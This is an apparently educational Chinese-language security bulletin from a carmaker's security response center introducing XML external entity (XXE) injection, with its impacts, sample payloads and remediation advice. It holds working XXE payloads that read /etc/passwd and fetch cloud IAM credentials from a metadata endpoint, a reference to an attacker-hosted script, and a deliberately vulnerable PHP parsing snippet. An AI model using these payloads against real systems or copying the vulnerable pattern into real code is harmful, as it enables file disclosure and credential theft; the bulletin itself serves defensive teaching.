【霄享·安全】XML外部实体注入(XXE)漏洞简介(总第50期月刊)
【霄享·安全】XML外部实体注入(XXE)漏洞简介(总第50期月刊)
原创 刘宇凡 上汽集团网络安全应急响应中心 2025-03-28 18:01
漏洞描述
XML外部实体注入(XML External Entity Injection,XXE)漏洞是指攻击者通过构造恶意XML数据,利用应用程序未正确配置XML解析器的安全策略,诱导系统执行非授权操作(如文件读取、网络请求、服务端请求伪造等)。
1
漏洞危害
敏感文件读取
通过定义外部实体并指定file://协议下的文件路径(例如,使用的声明),可利用应用程序的权限非法访问服务器文件,从而导致信息泄露。
远程代码执行
若服务器支持通过URL加载外部实体(如SYSTEM(“http://attacker.com/exec.sh”)),攻击者可构造恶意脚本并执行,利用服务器权限执行恶意操作,可能导致系统被完全控制或数据被破坏。
服务端请求伪造(SSRF)
利用服务器作为代理,向内部或外部系统发起请求,绕过源IP地址检查机制,实施服务端请求伪造攻击(如探测内网服务、篡改数据)。
拒绝服务攻击(DoS)
通过递归加载大量外部实体或构造超长URL,导致服务器资源耗尽或解析器崩溃。
2
恶意XML示例
读取本地文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>3</storeId>
</stockCheck>
功能
:通过file://协议读取本地文件(如/etc/passwd)。
危害
:若XML解析器未禁用外部实体,文件内容将被插入productId元素,可能导致敏感信息泄露。
发起HTTP请求
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://16x.2x4.1x9.2x4/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
功能
:通过HTTP URL获取外部资源(如云服务实例的IAM凭据)。
危害
:若解析器允许访问该URL,可能导致云服务权限被窃取、内网探测等。
3
PHP中的XXE
simplexml_load_string是PHP中用于解析XML数据的函数,默认允许解析外部实体。以下代码直接从php://input读取输入数据并解析,未禁用外部实体解析或进行输入校验,导致XXE漏洞:
<?php
$xml_input = file_get_contents('php://input');
$data = simplexml_load_string($xml_input);
echo $data->username;
?>
4
漏洞案例
某电商平台在处理接收用户上传的XML文件、处理Web服务请求(如SOAP)、解析配置文件等场景时。未禁用外部实体解析,攻击者通过注入file://协议读取服务器上的/etc/passwd文件,获取系统用户信息。
利用XXE漏洞读取文件:
利用XXE漏洞进行内网探测:
5
漏洞修复建议
1、禁用外部实体解析,配置XML解析器禁用DTD和外部实体解析,使用安全的XML解析库。
2、对用户输入的XML数据进行严格校验,过滤特殊字符(如声明)
3、确保应用程序以最低权限运行,限制其对文件系统和网络的访问。
4、漏洞扫描及代码审计:定期使用专业工具进行漏洞检测,防患于未然。
5、Web应用防火墙:对网站或APP的业务流量进行恶意特征识别及防护,避免服务器被恶意攻击及入侵。
本期专家介绍
刘宇凡
上海帆一尚行科技有限公司网络安全攻防专家
多次参加省市级安全攻防活动,擅长安全防护和渗透测试等网络安全工作
部分内容、图片源自网络,如有侵权请与我们联系删除。
点击下方名片,关注我们 ⬇️